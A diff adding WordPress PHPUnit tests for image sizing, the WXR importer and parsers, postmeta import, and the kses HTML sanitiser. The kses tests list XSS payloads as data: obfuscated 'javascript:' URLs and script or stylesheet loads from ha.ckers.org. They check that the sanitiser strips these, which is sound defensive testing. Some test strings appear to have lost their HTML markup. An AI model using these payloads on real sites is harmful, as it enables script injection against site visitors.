global $content_width; + $content_width = 0; + update_option('medium_size_w', 500); + update_option('medium_size_h', 0); + + $out = image_constrain_size_for_editor(600, 400, 'medium'); + $this->assertEquals(array(500, 333), $out); + + $out = image_constrain_size_for_editor(400, 600, 'medium'); + $this->assertEquals(array(400, 600), $out); + + $out = image_constrain_size_for_editor(64, 64, 'medium'); + $this->assertEquals(array(64, 64), $out); + + // content_width should be ignored + $content_width = 350; + $out = image_constrain_size_for_editor(600, 400, 'medium'); + $this->assertEquals(array(500, 333), $out); + } + + function test_constrain_size_for_editor_full() { + global $content_width; + $content_width = 400; + $out = image_constrain_size_for_editor(600, 400, 'full'); + $this->assertEquals(array(600, 400), $out); + + $out = image_constrain_size_for_editor(64, 64, 'full'); + $this->assertEquals(array(64, 64), $out); + + // content_width default is 500 + $content_width = 0; + + $out = image_constrain_size_for_editor(600, 400, 'full'); + $this->assertEquals(array(600, 400), $out); + + $out = image_constrain_size_for_editor(64, 64, 'full'); + $this->assertEquals(array(64, 64), $out); + } + +} diff --git a/tests/tests/import/base.php b/tests/tests/import/base.php new file mode 100644 index 0000000000..31f054b8fe --- /dev/null +++ b/tests/tests/import/base.php @@ -0,0 +1,53 @@ + + * $users = array( + * 'alice' => 1, // alice will be mapped to user ID 1 + * 'bob' => 'john', // bob will be transformed into john + * 'eve' => false // eve will be imported as is + * );
    + * + * @param string $filename Full path of the file to import + * @param array $users User import settings + * @param bool $fetch_files Whether or not do download remote attachments + */ + protected function _import_wp( $filename, $users = array(), $fetch_files = true ) { + $importer = new WP_Import(); + $file = realpath( $filename ); + assert('!empty($file)'); + assert('is_file($file)'); + + $authors = $mapping = $new = array(); + $i = 0; + + // each user is either mapped to a given ID, mapped to a new user + // with given login or imported using details in WXR file + foreach ( $users as $user => $map ) { + $authors[$i] = $user; + if ( is_int( $map ) ) + $mapping[$i] = $map; + else if ( is_string( $map ) ) + $new[$i] = $map; + + $i++; + } + + $_POST = array( 'imported_authors' => $authors, 'user_map' => $mapping, 'user_new' => $new ); + + ob_start(); + $importer->fetch_attachments = $fetch_files; + $importer->import( $file ); + ob_end_clean(); + + $_POST = array(); + } +} diff --git a/tests/tests/import/import.php b/tests/tests/import/import.php new file mode 100644 index 0000000000..82d7fc6820 --- /dev/null +++ b/tests/tests/import/import.php @@ -0,0 +1,226 @@ +query("DELETE FROM {$wpdb->$table}"); + } + + function tearDown() { + remove_filter( 'import_allow_create_users', '__return_true' ); + + parent::tearDown(); + } + + function test_small_import() { + global $wpdb; + + $authors = array( 'admin' => false, 'editor' => false, 'author' => false ); + $this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors ); + + // ensure that authors were imported correctly + $user_count = count_users(); + $this->assertEquals( 3, $user_count['total_users'] ); + $admin = get_user_by( 'login', 'admin' ); + $this->assertEquals( 'admin', $admin->user_login ); + $this->assertEquals( 'local@host.null', $admin->user_email ); + $editor = get_user_by( 'login', 'editor' ); + $this->assertEquals( 'editor', $editor->user_login ); + $this->assertEquals( 'editor@example.org', $editor->user_email ); + $this->assertEquals( 'FirstName', $editor->user_firstname ); + $this->assertEquals( 'LastName', $editor->user_lastname ); + $author = get_user_by( 'login', 'author' ); + $this->assertEquals( 'author', $author->user_login ); + $this->assertEquals( 'author@example.org', $author->user_email ); + + // check that terms were imported correctly + $this->assertEquals( 30, wp_count_terms( 'category' ) ); + $this->assertEquals( 3, wp_count_terms( 'post_tag' ) ); + $foo = get_term_by( 'slug', 'foo', 'category' ); + $this->assertEquals( 0, $foo->parent ); + $bar = get_term_by( 'slug', 'bar', 'category' ); + $foo_bar = get_term_by( 'slug', 'foo-bar', 'category' ); + $this->assertEquals( $bar->term_id, $foo_bar->parent ); + + // check that posts/pages were imported correctly + $post_count = wp_count_posts( 'post' ); + $this->assertEquals( 5, $post_count->publish ); + $this->assertEquals( 1, $post_count->private ); + $page_count = wp_count_posts( 'page' ); + $this->assertEquals( 4, $page_count->publish ); + $this->assertEquals( 1, $page_count->draft ); + $comment_count = wp_count_comments(); + $this->assertEquals( 1, $comment_count->total_comments ); + + $posts = get_posts( array( 'numberposts' => 20, 'post_type' => 'any', 'post_status' => 'any', 'orderby' => 'ID' ) ); + $this->assertEquals( 11, count($posts) ); + + $post = $posts[0]; + $this->assertEquals( 'Many Categories', $post->post_title ); + $this->assertEquals( 'many-categories', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'post', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $cats = wp_get_post_categories( $post->ID ); + $this->assertEquals( 27, count($cats) ); + + $post = $posts[1]; + $this->assertEquals( 'Non-standard post format', $post->post_title ); + $this->assertEquals( 'non-standard-post-format', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'post', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $cats = wp_get_post_categories( $post->ID ); + $this->assertEquals( 1, count($cats) ); + $this->assertTrue( has_post_format( 'aside', $post->ID ) ); + + $post = $posts[2]; + $this->assertEquals( 'Top-level Foo', $post->post_title ); + $this->assertEquals( 'top-level-foo', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'post', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $cats = wp_get_post_categories( $post->ID, array( 'fields' => 'all' ) ); + $this->assertEquals( 1, count($cats) ); + $this->assertEquals( 'foo', $cats[0]->slug ); + + $post = $posts[3]; + $this->assertEquals( 'Foo-child', $post->post_title ); + $this->assertEquals( 'foo-child', $post->post_name ); + $this->assertEquals( $editor->ID, $post->post_author ); + $this->assertEquals( 'post', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $cats = wp_get_post_categories( $post->ID, array( 'fields' => 'all' ) ); + $this->assertEquals( 1, count($cats) ); + $this->assertEquals( 'foo-bar', $cats[0]->slug ); + + $post = $posts[4]; + $this->assertEquals( 'Private Post', $post->post_title ); + $this->assertEquals( 'private-post', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'post', $post->post_type ); + $this->assertEquals( 'private', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $cats = wp_get_post_categories( $post->ID ); + $this->assertEquals( 1, count($cats) ); + $tags = wp_get_post_tags( $post->ID ); + $this->assertEquals( 3, count($tags) ); + $this->assertEquals( 'tag1', $tags[0]->slug ); + $this->assertEquals( 'tag2', $tags[1]->slug ); + $this->assertEquals( 'tag3', $tags[2]->slug ); + + $post = $posts[5]; + $this->assertEquals( '1-col page', $post->post_title ); + $this->assertEquals( '1-col-page', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'page', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $this->assertEquals( 'onecolumn-page.php', get_post_meta( $post->ID, '_wp_page_template', true ) ); + + $post = $posts[6]; + $this->assertEquals( 'Draft Page', $post->post_title ); + $this->assertEquals( '', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'page', $post->post_type ); + $this->assertEquals( 'draft', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) ); + + $post = $posts[7]; + $this->assertEquals( 'Parent Page', $post->post_title ); + $this->assertEquals( 'parent-page', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'page', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) ); + + $post = $posts[8]; + $this->assertEquals( 'Child Page', $post->post_title ); + $this->assertEquals( 'child-page', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'page', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( $posts[7]->ID, $post->post_parent ); + $this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) ); + + $post = $posts[9]; + $this->assertEquals( 'Sample Page', $post->post_title ); + $this->assertEquals( 'sample-page', $post->post_name ); + $this->assertEquals( $admin->ID, $post->post_author ); + $this->assertEquals( 'page', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $this->assertEquals( 'default', get_post_meta( $post->ID, '_wp_page_template', true ) ); + + $post = $posts[10]; + $this->assertEquals( 'Hello world!', $post->post_title ); + $this->assertEquals( 'hello-world', $post->post_name ); + $this->assertEquals( $author->ID, $post->post_author ); + $this->assertEquals( 'post', $post->post_type ); + $this->assertEquals( 'publish', $post->post_status ); + $this->assertEquals( 0, $post->post_parent ); + $cats = wp_get_post_categories( $post->ID ); + $this->assertEquals( 1, count($cats) ); + } + + function test_double_import() { + $authors = array( 'admin' => false, 'editor' => false, 'author' => false ); + $this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors ); + $this->_import_wp( DIR_TESTDATA . '/export/small-export.xml', $authors ); + + $user_count = count_users(); + $this->assertEquals( 3, $user_count['total_users'] ); + $admin = get_user_by( 'login', 'admin' ); + $this->assertEquals( 'admin', $admin->user_login ); + $this->assertEquals( 'local@host.null', $admin->user_email ); + $editor = get_user_by( 'login', 'editor' ); + $this->assertEquals( 'editor', $editor->user_login ); + $this->assertEquals( 'editor@example.org', $editor->user_email ); + $this->assertEquals( 'FirstName', $editor->user_firstname ); + $this->assertEquals( 'LastName', $editor->user_lastname ); + $author = get_user_by( 'login', 'author' ); + $this->assertEquals( 'author', $author->user_login ); + $this->assertEquals( 'author@example.org', $author->user_email ); + + $this->assertEquals( 30, wp_count_terms( 'category' ) ); + $this->assertEquals( 3, wp_count_terms( 'post_tag' ) ); + $foo = get_term_by( 'slug', 'foo', 'category' ); + $this->assertEquals( 0, $foo->parent ); + $bar = get_term_by( 'slug', 'bar', 'category' ); + $foo_bar = get_term_by( 'slug', 'foo-bar', 'category' ); + $this->assertEquals( $bar->term_id, $foo_bar->parent ); + + $post_count = wp_count_posts( 'post' ); + $this->assertEquals( 5, $post_count->publish ); + $this->assertEquals( 1, $post_count->private ); + $page_count = wp_count_posts( 'page' ); + $this->assertEquals( 4, $page_count->publish ); + $this->assertEquals( 1, $page_count->draft ); + $comment_count = wp_count_comments(); + $this->assertEquals( 1, $comment_count->total_comments ); + } + + // function test_menu_import +} diff --git a/tests/tests/import/parser.php b/tests/tests/import/parser.php new file mode 100644 index 0000000000..dc3dd79b1f --- /dev/null +++ b/tests/tests/import/parser.php @@ -0,0 +1,192 @@ +parse($file); + $this->assertTrue( is_wp_error( $result ) ); + $this->assertEquals( 'There was an error when reading this WXR file', $result->get_error_message() ); + } + } + + function test_invalid_wxr() { + $f1 = DIR_TESTDATA . '/export/missing-version-tag.xml'; + $f2 = DIR_TESTDATA . '/export/invalid-version-tag.xml'; + + foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) { + foreach ( array( $f1, $f2 ) as $file ) { + $parser = new $p; + $result = $parser->parse( $file ); + $this->assertTrue( is_wp_error( $result ) ); + $this->assertEquals( 'This does not appear to be a WXR file, missing/invalid WXR version number', $result->get_error_message() ); + } + } + } + + function test_wxr_version_1_1() { + $file = DIR_TESTDATA . '/export/valid-wxr-1.1.xml'; + + foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) { + $message = $p . ' failed'; + $parser = new $p; + $result = $parser->parse( $file ); + + $this->assertTrue( is_array( $result ), $message ); + $this->assertEquals( 'http://localhost/', $result['base_url'], $message ); + $this->assertEquals( array( + 'author_id' => 2, + 'author_login' => 'john', + 'author_email' => 'johndoe@example.org', + 'author_display_name' => 'John Doe', + 'author_first_name' => 'John', + 'author_last_name' => 'Doe' + ), $result['authors']['john'], $message ); + $this->assertEquals( array( + 'term_id' => 3, + 'category_nicename' => 'alpha', + 'category_parent' => '', + 'cat_name' => 'alpha', + 'category_description' => 'The alpha category' + ), $result['categories'][0], $message ); + $this->assertEquals( array( + 'term_id' => 22, + 'tag_slug' => 'clippable', + 'tag_name' => 'Clippable', + 'tag_description' => 'The Clippable post_tag' + ), $result['tags'][0], $message ); + $this->assertEquals( array( + 'term_id' => 40, + 'term_taxonomy' => 'post_tax', + 'slug' => 'bieup', + 'term_parent' => '', + 'term_name' => 'bieup', + 'term_description' => 'The bieup post_tax' + ), $result['terms'][0], $message ); + + $this->assertEquals( 2, count($result['posts']), $message ); + $this->assertEquals( 19, count($result['posts'][0]), $message ); + $this->assertEquals( 18, count($result['posts'][1]), $message ); + $this->assertEquals( array( + array( 'name' => 'alpha', 'slug' => 'alpha', 'domain' => 'category' ), + array( 'name' => 'Clippable', 'slug' => 'clippable', 'domain' => 'post_tag' ), + array( 'name' => 'bieup', 'slug' => 'bieup', 'domain' => 'post_tax' ) + ), $result['posts'][0]['terms'], $message ); + $this->assertEquals( array( + array( 'key' => '_wp_page_template', 'value' => 'default' ) + ), $result['posts'][1]['postmeta'], $message ); + } + } + + function test_wxr_version_1_0() { + $file = DIR_TESTDATA . '/export/valid-wxr-1.0.xml'; + + foreach ( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) { + $message = $p . ' failed'; + $parser = new $p; + $result = $parser->parse( $file ); + + $this->assertTrue( is_array( $result ), $message ); + $this->assertEquals( 'http://localhost/', $result['base_url'], $message ); + $this->assertEquals( $result['categories'][0]['category_nicename'], 'alpha', $message ); + $this->assertEquals( $result['categories'][0]['cat_name'], 'alpha', $message ); + $this->assertEquals( $result['categories'][0]['category_parent'], '', $message ); + $this->assertEquals( $result['categories'][0]['category_description'], 'The alpha category', $message ); + $this->assertEquals( $result['tags'][0]['tag_slug'], 'chicken', $message ); + $this->assertEquals( $result['tags'][0]['tag_name'], 'chicken', $message ); + + $this->assertEquals( 6, count($result['posts']), $message ); + $this->assertEquals( 19, count($result['posts'][0]), $message ); + $this->assertEquals( 18, count($result['posts'][1]), $message ); + + $this->assertEquals( array( + array( 'name' => 'Uncategorized', 'slug' => 'uncategorized', 'domain' => 'category' ) + ), $result['posts'][0]['terms'], $message ); + $this->assertEquals( array( + array( 'name' => 'alpha', 'slug' => 'alpha', 'domain' => 'category' ), + array( 'name' => 'news', 'slug' => 'news', 'domain' => 'tag' ), + array( 'name' => 'roar', 'slug' => 'roar', 'domain' => 'tag' ) + ), $result['posts'][2]['terms'], $message ); + $this->assertEquals( array( + array( 'name' => 'chicken', 'slug' => 'chicken', 'domain' => 'tag' ), + array( 'name' => 'child', 'slug' => 'child', 'domain' => 'category' ), + array( 'name' => 'face', 'slug' => 'face', 'domain' => 'tag' ) + ), $result['posts'][3]['terms'], $message ); + + $this->assertEquals( array( + array( 'key' => '_wp_page_template', 'value' => 'default' ) + ), $result['posts'][1]['postmeta'], $message ); + } + } + + /** + * Test the WXR parser's ability to correctly retrieve content from CDATA + * sections that contain escaped closing tags ("]]>" -> "]]]]>"). + * + * @link http://core.trac.wordpress.org/ticket/15203 + */ + function test_escaped_cdata_closing_sequence() { + $file = DIR_TESTDATA . '/export/crazy-cdata-escaped.xml'; + + foreach( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) { + $message = 'Parser ' . $p; + $parser = new $p; + $result = $parser->parse( $file ); + + $post = $result['posts'][0]; + $this->assertEquals( 'Content with nested :)', $post['post_content'], $message ); + foreach ( $post['postmeta'] as $meta ) { + switch ( $meta['key'] ) { + case 'Plain string': $value = 'Foo'; break; + case 'Closing CDATA': $value = ']]>'; break; + case 'Alot of CDATA': $value = 'This has closing '; break; + default: $this->fail( 'Unknown postmeta (' . $meta['key'] . ') was parsed out by' . $p ); + } + $this->assertEquals( $value, $meta['value'], $message ); + } + } + } + + /** + * Ensure that the regex parser can still parse invalid CDATA blocks (i.e. those + * with "]]>" unescaped within a CDATA section). + */ + function test_unescaped_cdata_closing_sequence() { + $file = DIR_TESTDATA . '/export/crazy-cdata.xml'; + + $parser = new WXR_Parser_Regex; + $result = $parser->parse( $file ); + + $post = $result['posts'][0]; + $this->assertEquals( 'Content with nested :)', $post['post_content'] ); + foreach ( $post['postmeta'] as $meta ) { + switch ( $meta['key'] ) { + case 'Plain string': $value = 'Foo'; break; + case 'Closing CDATA': $value = ']]>'; break; + case 'Alot of CDATA': $value = 'This has closing '; break; + default: $this->fail( 'Unknown postmeta (' . $meta['key'] . ') was parsed out by' . $p ); + } + $this->assertEquals( $value, $meta['value'] ); + } + } + + // tags in CDATA #11574 +} diff --git a/tests/tests/import/postmeta.php b/tests/tests/import/postmeta.php new file mode 100644 index 0000000000..c21011446d --- /dev/null +++ b/tests/tests/import/postmeta.php @@ -0,0 +1,94 @@ +_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-no-cdata.xml', array( 'johncoswell' => 'john' ) ); + $expected['special_post_title'] = 'A special title'; + $expected['is_calendar'] = ''; + $this->assertEquals( $expected, get_post_meta( 122, 'post-options', true ) ); + } + + function test_utw_postmeta() { + $this->_import_wp( DIR_TESTDATA . '/export/test-utw-post-meta-import.xml', array( 'johncoswell' => 'john' ) ); + + $classy = new StdClass(); + $classy->tag = "album"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "apple"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "art"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "artwork"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "dead-tracks"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "ipod"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "itunes"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "javascript"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "lyrics"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "script"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "tracks"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "windows-scripting-host"; + $expected[] = $classy; + $classy = new StdClass(); + $classy->tag = "wscript"; + $expected[] = $classy; + + $this->assertEquals( $expected, get_post_meta( 150, 'test', true ) ); + } + + /** + * @ticket 9633 + */ + function test_serialized_postmeta_with_cdata() { + $this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-with-cdata.xml', array( 'johncoswell' => 'johncoswell' ) ); + + //HTML in the CDATA should work with old WordPress version + $this->assertEquals( '
    some html
    ', get_post_meta( 10, 'contains-html', true ) ); + //Serialised will only work with 3.0 onwards. + $expected["special_post_title"] = "A special title"; + $expected["is_calendar"] = ""; + $this->assertEquals( $expected, get_post_meta( 10, 'post-options', true ) ); + } + + /** + * @ticket 11574 + */ + function test_serialized_postmeta_with_evil_stuff_in_cdata() { + $this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-with-cdata.xml', array( 'johncoswell' => 'johncoswell' ) ); + // evil content in the CDATA + $this->assertEquals( 'evil', get_post_meta( 10, 'evil', true ) ); + } +} diff --git a/tests/tests/includes/factory.php b/tests/tests/includes/factory.php new file mode 100644 index 0000000000..34516861e6 --- /dev/null +++ b/tests/tests/includes/factory.php @@ -0,0 +1,31 @@ +category_factory = new WP_UnitTest_Factory_For_Term( null, 'category' ); + } + + function test_create_creates_a_category() { + $id = $this->category_factory->create(); + $this->assertTrue( (bool)get_term_by( 'id', $id, 'category' ) ); + } + + function test_get_object_by_id_gets_an_object() { + $id = $this->category_factory->create(); + $this->assertTrue( (bool)$this->category_factory->get_object_by_id( $id ) ); + } + + function test_get_object_by_id_gets_an_object_with_the_same_name() { + $id = $this->category_factory->create( array( 'name' => 'Boo') ); + $object = $this->category_factory->get_object_by_id( $id ); + $this->assertEquals( 'Boo', $object->name ); + } + + function test_the_taxonomy_argument_overrules_the_factory_taxonomy() { + $term_factory = new WP_UnitTest_Factory_For_term( null, 'category' ); + $id = $term_factory->create( array( 'taxonomy' => 'post_tag' ) ); + $term = get_term( $id, 'post_tag' ); + $this->assertEquals( $id, $term->term_id ); + } +} diff --git a/tests/tests/iterators.php b/tests/tests/iterators.php new file mode 100644 index 0000000000..869106371c --- /dev/null +++ b/tests/tests/iterators.php @@ -0,0 +1,45 @@ +assertIteratorReturnsSamePostIDs( array() ); + } + + function test_less_ids_than_limit() { + $post_id_0 = $this->factory->post->create(); + $post_id_1 = $this->factory->post->create(); + $this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1 ), 10 ); + } + + function test_ids_exactly_as_limit() { + $post_id_0 = $this->factory->post->create(); + $post_id_1 = $this->factory->post->create(); + $this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1 ), 2 ); + } + + function test_more_ids_than_limit() { + $post_id_0 = $this->factory->post->create(); + $post_id_1 = $this->factory->post->create(); + $post_id_2 = $this->factory->post->create(); + $this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1, $post_id_2 ), 2 ); + } + + function test_ids_exactly_twice_more_than_limit() { + $post_id_0 = $this->factory->post->create(); + $post_id_1 = $this->factory->post->create(); + $post_id_2 = $this->factory->post->create(); + $post_id_3 = $this->factory->post->create(); + $this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1, $post_id_2, $post_id_3 ), 2 ); + } + + private function assertIteratorReturnsSamePostIDs( $post_ids, $limit = 2 ) { + $this->assertEquals( $post_ids, wp_list_pluck( iterator_to_array( new WP_Post_IDs_Iterator( $post_ids, $limit ) ), 'ID' ) ); + } +} diff --git a/tests/tests/kses.php b/tests/tests/kses.php new file mode 100644 index 0000000000..6690797e9d --- /dev/null +++ b/tests/tests/kses.php @@ -0,0 +1,362 @@ + 'classname', + 'id' => 'id', + 'style' => 'color: red;', + 'style' => 'color: red', + 'style' => 'color: red; text-align:center', + 'style' => 'color: red; text-align:center;', + 'title' => 'title', + ); + + foreach ( $attributes as $name => $value ) { + $string = "
    1 WordPress Avenue, The Internet.
    "; + $expect_string = "
    1 WordPress Avenue, The Internet.
    "; + $this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) ); + } + } + + /** + * @ticket 20210 + */ + function test_wp_filter_post_kses_a() { + global $allowedposttags; + + $attributes = array( + 'class' => 'classname', + 'id' => 'id', + 'style' => 'color: red;', + 'title' => 'title', + 'href' => 'http://example.com', + 'rel' => 'related', + 'rev' => 'revision', + 'name' => 'name', + 'target' => '_blank', + ); + + foreach ( $attributes as $name => $value ) { + $string = "I link this"; + $expect_string = "I link this"; + $this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) ); + } + } + + /** + * @ticket 20210 + */ + function test_wp_filter_post_kses_abbr() { + global $allowedposttags; + + $attributes = array( + 'class' => 'classname', + 'id' => 'id', + 'style' => 'color: red;', + 'title' => 'title', + ); + + foreach ( $attributes as $name => $value ) { + $string = "WP"; + $expect_string = "WP"; + $this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) ); + } + } + + function test_feed_links() { + global $allowedposttags; + + $content = <<CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +EOF; + + $expected = <<CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +CLICK ME +EOF; + + $this->assertEquals( $expected, wp_kses( $content, $allowedposttags ) ); + } + + function test_wp_kses_bad_protocol() { + $bad = array( + 'dummy:alert(1)', + 'javascript:alert(1)', + 'JaVaScRiPt:alert(1)', + 'javascript:alert(1);', + 'javascript:alert(1);', + 'javascript:alert(1);', + 'javascript:alert(1);', + 'javascript:alert(1);', + 'javascript:alert(1);', + 'javascript:alert(1);', + 'javascript:alert(1);', + 'javascript:alert(1);', + 'javascript:alert('XSS')', + 'jav ascript:alert(1);', + 'jav ascript:alert(1);', + 'jav ascript:alert(1);', + 'jav ascript:alert(1);', + '  javascript:alert(1);', + 'javascript:javascript:alert(1);', + 'javascript:javascript:alert(1);', + 'javascript:javascript:alert(1);', + 'javascript:javascript:alert(1);', + 'javascript:javascript:alert(1);', + 'javascript:alert(1)//?:', + 'feed:javascript:alert(1)', + 'feed:javascript:feed:javascript:feed:javascript:alert(1)', + ); + foreach ( $bad as $k => $x ) { + $result = wp_kses_bad_protocol( wp_kses_normalize_entities( $x ), wp_allowed_protocols() ); + if ( ! empty( $result ) && $result != 'alert(1);' && $result != 'alert(1)' ) { + switch ( $k ) { + case 6: $this->assertEquals( 'javascript&#0000058alert(1);', $result ); break; + case 12: + $this->assertEquals( str_replace( '&', '&', $x ), $result ); + break; + case 22: $this->assertEquals( 'javascript&#0000058alert(1);', $result ); break; + case 23: $this->assertEquals( 'javascript&#0000058alert(1)//?:', $result ); break; + case 24: $this->assertEquals( 'feed:alert(1)', $result ); break; + default: $this->fail( "wp_kses_bad_protocol failed on $x. Result: $result" ); + } + } + } + + $safe = array( + 'dummy:alert(1)', + 'HTTP://example.org/', + 'http://example.org/', + 'http://example.org/', + 'http://example.org/', + 'https://example.org', + 'http://example.org/wp-admin/post.php?post=2&action=edit', + 'http://example.org/index.php?test='blah'', + ); + foreach ( $safe as $x ) { + $result = wp_kses_bad_protocol( wp_kses_normalize_entities( $x ), array( 'http', 'https', 'dummy' ) ); + if ( $result != $x && $result != 'http://example.org/' ) + $this->fail( "wp_kses_bad_protocol incorrectly blocked $x" ); + } + } + + public function test_hackers_attacks() { + $xss = simplexml_load_file( DIR_TESTDATA . '/formatting/xssAttacks.xml' ); + foreach ( $xss->attack as $attack ) { + if ( in_array( $attack->name, array( 'IMG Embedded commands 2', 'US-ASCII encoding', 'OBJECT w/Flash 2', 'Character Encoding Example' ) ) ) + continue; + + $code = (string) $attack->code; + + if ( $code == 'See Below' ) + continue; + + if ( substr( $code, 0, 4 ) == 'perl' ) { + $pos = strpos( $code, '"' ) + 1; + $code = substr( $code, $pos, strrpos($code, '"') - $pos ); + $code = str_replace( '\0', "\0", $code ); + } + + $result = trim( wp_kses_data( $code ) ); + + if ( $result == '' || $result == 'XSS' || $result == 'alert("XSS");' || $result == "alert('XSS');" ) + continue; + + switch ( $attack->name ) { + case 'XSS Locator': + $this->assertEquals('\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//-->">\'>alert(String.fromCharCode(88,83,83))=', $result); + break; + case 'XSS Quick Test': + $this->assertEquals('\'\';!--"=', $result); + break; + case 'SCRIPT w/Alert()': + $this->assertEquals( "alert('XSS')", $result ); + break; + case 'SCRIPT w/Char Code': + $this->assertEquals('alert(String.fromCharCode(88,83,83))', $result); + break; + case 'IMG STYLE w/expression': + $this->assertEquals('exp/*', $result); + break; + case 'List-style-image': + $this->assertEquals('li {list-style-image: url("javascript:alert(\'XSS\')");}XSS', $result); + break; + case 'STYLE': + $this->assertEquals( "alert('XSS');", $result); + break; + case 'STYLE w/background-image': + $this->assertEquals('.XSS{background-image:url("javascript:alert(\'XSS\')");}', $result); + break; + case 'STYLE w/background': + $this->assertEquals('BODY{background:url("javascript:alert(\'XSS\')")}', $result); + break; + case 'Remote Stylesheet 2': + $this->assertEquals( "@import'http://ha.ckers.org/xss.css';", $result ); + break; + case 'Remote Stylesheet 3': + $this->assertEquals( '<META HTTP-EQUIV="Link" Content="; REL=stylesheet">', $result ); + break; + case 'Remote Stylesheet 4': + $this->assertEquals('BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}', $result); + break; + case 'XML data island w/CDATA': + $this->assertEquals( "<![CDATA[]]>", $result ); + break; + case 'XML data island w/comment': + $this->assertEquals( "<IMG SRC="javascript:alert('XSS')\">", $result ); + break; + case 'XML HTML+TIME': + $this->assertEquals( '<t:set attributeName="innerHTML" to="XSSalert(\'XSS\')">', $result ); + break; + case 'Commented-out Block': + $this->assertEquals( "\nalert('XSS');", $result ); + break; + case 'Cookie Manipulation': + $this->assertEquals( '<META HTTP-EQUIV="Set-Cookie" Content="USERID=alert(\'XSS\')">', $result ); + break; + case 'SSI': + $this->assertEquals( '<!--#exec cmd="/bin/echo '', $result ); + break; + case 'PHP': + $this->assertEquals( '<? echo('alert("XSS")\'); ?>', $result ); + break; + case 'UTF-7 Encoding': + $this->assertEquals( '+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-', $result ); + break; + case 'Escaping JavaScript escapes': + $this->assertEquals('\";alert(\'XSS\');//', $result); + break; + case 'STYLE w/broken up JavaScript': + $this->assertEquals( '@im\port\'\ja\vasc\ript:alert("XSS")\';', $result ); + break; + case 'Null Chars 2': + $this->assertEquals( '&alert("XSS")', $result ); + break; + case 'No Closing Script Tag': + $this->assertEquals( '<SCRIPT SRC=http://ha.ckers.org/xss.js', $result ); + break; + case 'Half-Open HTML/JavaScript': + $this->assertEquals( '<IMG SRC="javascript:alert('XSS')"', $result ); + break; + case 'Double open angle brackets': + $this->assertEquals( '<IFRAME SRC=http://ha.ckers.org/scriptlet.html <', $result ); + break; + case 'Extraneous Open Brackets': + $this->assertEquals( '<alert("XSS");//<', $result ); + break; + case 'Malformed IMG Tags': + $this->assertEquals('alert("XSS")">', $result); + break; + case 'No Quotes/Semicolons': + $this->assertEquals( "a=/XSS/\nalert(a.source)", $result ); + break; + case 'Evade Regex Filter 1': + $this->assertEquals( '" SRC="http://ha.ckers.org/xss.js">', $result ); + break; 